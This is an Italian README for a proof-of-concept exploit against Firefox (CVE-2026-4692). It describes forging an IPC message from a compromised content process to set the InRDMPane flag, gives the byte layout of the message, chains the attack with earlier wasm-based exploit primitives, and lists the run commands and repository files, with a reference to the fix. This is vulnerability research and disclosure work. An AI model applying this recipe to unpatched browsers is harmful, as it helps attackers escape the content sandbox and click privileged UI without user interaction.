
Proof-of-concept exploit per il bypass dell'autorizzazione BrowsingContext di Firefox (CVE-2026-4692), che dimostra messaggi IPC contraffatti per impostare InRDMPane e abilitare l'iniezione privilegiata di eventi touch nella UI.
Proof of concept per un controllo di autorizzazione mancante sulla sincronizzazione
del campo BrowsingContext: un processo di contenuto compromesso falsifica un
messaggio PContent::CommitBrowsingContextTransaction impostando InRDMPane = true
sul proprio BrowsingContext di primo livello, e il processo padre lo applica.
Target: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerabile, pre-fix), macOS arm64.
Corretto in Firefox 149 — bug 2017643, commit a9279ce332ed ("Prevent toggling RDM
BrowsingContext flag from content processes"), che aggiunge:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // reject if from content
}
InRDMPane comunica al processo padre che la scheda è un pannello di Responsive Design Mode. Il
processo padre si fida di questo flag durante l'hit-testing degli eventi touch sintetizzati
(BrowserParent::RecvDispatchTouchEvent): gli eventi nominalmente destinati a un pannello RDM
possono atterrare su UI chrome privilegiata. Un processo di contenuto compromesso
che imposta il flag può quindi inviare eventi touch con coordinate negative/fuori dal contenuto
e cliccare su UI privilegiata senza interazione dell'utente (vedi il repro.patch del reporter
sul bug 2017643, che dimostra esattamente questo con una build patchata). Questo repository
dimostra la violazione del confine abilitante in sé, con una vera falsificazione del messaggio —
nessuna patch al sorgente del browser.
PContent::CommitBrowsingContextTransaction — tipo di messaggio 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311), routing MSG_ROUTING_CONTROL
(INT64_MAX), flag NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 modified bitset word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> words are size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epoch check is MOZ_ASSERT-only; compiled out here)
u32 132121169 sentinel 'aEpoch'
La consegna riutilizza il percorso di invio di CVE-2026-74939: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send sul canale PContent, guidato da JS tramite la primitiva
di chiamata funcref wasm (wasm-bytes.js, stage-1 = CVE-2026-2796).
Log lato processo padre (MOZ_LOG=BrowsingContextSync:5) dopo ./irun:
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 è il BrowsingContext di primo livello del popup (id allocato dal
figlio, creato from IPC), e ipc marca la transazione come originata dal contenuto.
Su una build corretta lo stesso messaggio fallisce la validazione CanSet e viene rifiutato.
Prerequisiti: build Nightly vulnerabile in /Users/sid/gecko-2766/obj-browser,
.venv con psutil, e il server di logging incluso in esecuzione:
python3 srv.py > /tmp/srv4692.log 2>&1 & # serves this dir on :8781
python3 forge_bctx.py # build bctx.bin/bctx.json
./irun # launch + inject + collect evidence
a9279ce332ed (MFSA 2026-20, Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| File | Scopo |
|---|
bctx.html | Pagina PoC: calcola l'id BC del popup a runtime, lo inserisce nel messaggio falsificato, lo invia |
forge_bctx.py | costruisce bctx.bin/bctx.json (auto-verificanti), completamente statico tranne l'id BC |
wasm-bytes.js | primitive stage-1: arb R/W, chiamate funcref |
mdrive2.py | harness marionette |
irun | esecuzione strumentata: attach lldb + evidenza BrowsingContextSync |
srv.py | server web di logging per le pagine PoC (:8781) |
profile.user.js | preferenze del profilo Firefox (fission attivo, dump abilitato) |